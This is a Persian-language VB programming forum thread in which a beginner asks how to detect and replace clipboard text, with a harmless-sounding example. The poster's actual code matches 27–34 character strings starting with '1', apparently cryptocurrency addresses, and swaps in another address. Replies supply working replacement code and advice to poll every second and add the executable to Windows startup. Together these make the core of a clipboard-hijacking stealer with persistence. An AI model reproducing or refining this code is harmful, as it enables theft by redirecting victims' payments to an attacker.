جایگزین کردن متن کپی شده در حافظه

[ubites]

سلام به همه دوستان و اساتید گرامی!
من دارم روی یک برنامه کوچیک کار میکنم که کارش اینطوریه که Length متن کپی شده در کلیپ بورد (clipboard) رو بررسی میکنه و اگه اندازه مورد نظر بود اونو با متن دلخواه جایگزین کنه!

مثلا اگر من عبارت salam رو کپی کردم برنامه بیاد ببینه اگه تعداد کاراکتر هاش 4 تاس عبارت test رو جایگزین salam در clipboard بکنه!اگر هم کمتر یا بیشتر بود کاری باهاش نداشته باشه!

من برنامه نویسیم خیلی در حد مبتدیه و این کدو نوشتم بدون اشکال اجرا میشه ولی جواب نمیده!

Private Sub Timer_Timer()

 If My.Computer.Clipboard.ContainsText() Then

 Dim adr As String

 adr = My.Computer.Clipboard.GetText

If adr.Length = "34" Or adr.Length = "33" Or adr.Length = "32" Or adr.Length = "31" Or adr.Length = "30" Or adr.Length = "29" Or adr.Length = "28" Or adr.Length = "27" Then

If adr.Substring(0, 1) = "1" Then

                        My.Computer.Clipboard.SetText ("Adresse 1")

                    End If

                End If

            End If

End Sub

اشکالش کجاعه؟
ممنون میشم راهنماییم کنید!

[isaac23]

نمی دونم چی نیاز داری اما با توجه به چیزی که نوشتی این جوابش هست.

در صورتی که متن کپی شده رد کلیت بورد تعداد کارکتراش به 4 رسید در عبارت Text رو در کلیپ بورد کپی و سپس در Textbox جایچزین میشه

Private Sub Command1_Click()

Dim gettxt As String



If Clipboard.GetText <> "" Then

gettxt = Clipboard.GetText

If Len(gettxt) = 4 Then

Clipboard.Clear

Clipboard.SetText ("test")

Text1.Text = Clipboard.GetText

End If

End If



End Sub

[ubites]

ممنون بابت پاسخ
ولی کلا نیازی به تکست باکس نیست!میخوام وقتی هر عبارت 4 حرفی کپی بشه مثل عبارت test بجای test هرجا که خواستم paste کنم عبارت hello رو paste کنه!

[vbhamed]

سلام
اولا اینکه شما ظاهرا کد دات نت نوشتید و اینجا تالار VB6 هستش
ولی به صورت کلی ابتدا محتویات فعلی کلیپ برد باید با متد Clear پاک بشه بعد متن جدید بهش داده بشه

[isaac23]

خب دوست عزیز من واسه اینکه شما متوجه بشید نوشتم براتون وگرنه دیگه کاری نداره هر جا دوست داشتی می تونی استفاده کنی ازش

[ubites]

با تشکر بلاخره جواب داد.فقط یه سوال دیگه!هر موقع برنامه رو اجرا میکنم این پروسه انجام میشه,اگر بخوام مادامی که برنامه درحال اجراست با کپی کردن هر متنی این پروسه انجام بشه چیکار باید بکنم؟
استفاده از حلقه؟تایمر؟

[isaac23]

خوب اره دیگه یه تایمر بذار و هر 1 ثانیه چک کنه برات و از برنامه خروجی .Exe. بگیر و بذار توی استارت اپ ویندوز و هر وقت اومد بالا ویندزو این هم شروع بکاربکنه .